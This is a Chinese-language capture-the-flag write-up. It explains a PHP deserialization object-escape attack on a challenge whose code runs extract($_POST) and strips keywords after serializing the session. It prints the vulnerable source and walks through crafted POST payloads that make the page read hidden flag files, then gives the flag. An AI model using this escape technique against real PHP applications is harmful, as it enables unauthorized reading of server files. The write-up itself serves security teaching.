看题目,应该是和反序列化有关。
先查看一下源码
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
源码提示eval('phpinfo();'); //maybe you can find something in here!
http://url/index.php?f=phpinfo
查看phpinfo()发现里面存在文件d0g3_f1ag.php
直接访问文件,发现无法访问
此时我们选择构造反序列化逃逸进行绕过
反序列化的对象逃逸问题一般分为两种。
第一种为关键词数增加 例如: where->hacker,这样词数由五个增加到6个
第二种为关键词数减少
例如:直接过滤掉一些关键词,例如这道题目中第一种情况比较好构造,直接构造多个关键词,这样就能逃出几个字符
第二种可以是通过键逃逸和值逃逸
从大佬那边转一些解释过来,讲的还是非常清晰的。
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="}
ZDBnM19mMWFnLnBocA==也就是d0g3_f1ag.php的base64加密。
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}这个肯定就是我们预期的那段序列化字符,
那么 ;s:1:“1”; 这几个字符呢?
如果使用大佬的payload那么可以明白,现在的_SESSION就存在两个键值即phpflag和img对应的键值对。
并且这个字符串得好好读才能不蒙圈。
$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump( serialize($_SESSION) );
#"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
经过filter过滤后phpflag就会被替换成空,
s:7:"phpflag";s:48:"
就变成了 s:7:"";s:48:";
即完成了逃逸。
两个键值分别被序列化成了
s:7:"";s:48:";s:1:"1";
即键名叫";s:48:
对应的值为一个字符串1。这个键值对只要能瞒天过海就行。
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";
键名img对应的字符串是d0g3_f1ag.php的base64编码。
右花括号后面的;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
全被当成孤儿放弃了。
post提交这一串payload:
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
利用payload查看源代码
将进行/d0g3_fllllllag
base64之后替换掉原来的base64
因为刚好都是20位。
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
flag:
flag{c05b4a15-cd46-4191-a529-f02abd7f8880}